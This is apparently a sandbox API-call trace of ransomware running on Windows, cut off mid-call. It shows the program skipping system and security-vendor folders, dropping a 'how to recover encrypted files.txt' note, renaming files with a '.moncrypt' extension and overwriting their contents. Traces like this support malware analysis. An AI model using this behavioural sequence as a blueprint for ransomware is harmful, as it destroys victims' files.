MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.973] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.974] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a770, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.974] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.974] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.974] GlobalUnlock (hMem=0x44000c) returned 0 [0054.974] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.974] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.974] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.974] GlobalUnlock (hMem=0x44000c) returned 0 [0054.974] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.974] GlobalUnlock (hMem=0x440004) returned 0 [0054.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6f8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\esen\\") returned 0x3d [0054.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.976] GlobalLock (hMem=0x440004) returned 0x550170 [0054.976] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.976] GlobalUnlock (hMem=0x440004) returned 0 [0054.976] GlobalLock (hMem=0x440004) returned 0x550170 [0054.976] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.976] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.976] GlobalUnlock (hMem=0x440004) returned 0 [0054.976] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.976] GlobalUnlock (hMem=0x44000c) returned 0 [0054.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0054.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.977] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.977] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0054.977] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.977] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.977] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.977] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.977] GlobalUnlock (hMem=0x44000c) returned 0 [0054.977] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.977] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.977] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.977] GlobalUnlock (hMem=0x44000c) returned 0 [0054.977] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.977] GlobalUnlock (hMem=0x440004) returned 0 [0054.977] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.977] CharLowerBuffW (in: lpsz="MSB1ESEN.DLL", cchLength=0xc | out: lpsz="msb1esen.dll") returned 0xc [0054.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpUsedDefaultChar=0x0) returned 73 [0054.978] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0054.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpUsedDefaultChar=0x0) returned 4 [0054.978] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0054.978] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.978] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.978] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.978] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.978] GlobalUnlock (hMem=0x440004) returned 0 [0054.978] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.978] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.978] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.978] GlobalUnlock (hMem=0x440004) returned 0 [0054.978] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.978] GlobalUnlock (hMem=0x44000c) returned 0 [0054.979] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.979] CharLowerBuffW (in: lpsz="MSB1ESEN.ITS", cchLength=0xc | out: lpsz="msb1esen.its") returned 0xc [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpUsedDefaultChar=0x0) returned 73 [0054.979] CharLowerBuffW (in: lpsz=".ITS", cchLength=0x4 | out: lpsz=".its") returned 0x4 [0054.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".its", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".itsShared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpUsedDefaultChar=0x0) returned 4 [0054.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.981] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.982] CloseHandle (hObject=0x18c) returned 1 [0054.982] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\я")) returned 1 [0054.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 0x54e240 [0054.983] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.983] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.983] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", dwFileAttributes=0x20) returned 1 [0054.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.moncrypt")) returned 1 [0054.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xff7f2 [0054.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.985] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.987] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.987] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.987] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.987] GlobalUnlock (hMem=0x440004) returned 0 [0054.987] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.987] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.987] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.987] GlobalUnlock (hMem=0x440004) returned 0 [0054.987] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.987] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.987] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.987] GlobalUnlock (hMem=0x44000c) returned 0 [0054.987] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.987] GlobalUnlock (hMem=0x440004) returned 0 [0054.987] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.987] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.987] GlobalUnlock (hMem=0x440004) returned 0 [0054.987] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.987] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.987] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.987] GlobalUnlock (hMem=0x440004) returned 0 [0054.987] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.988] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.989] WriteFile (in: hFile=0x18c, 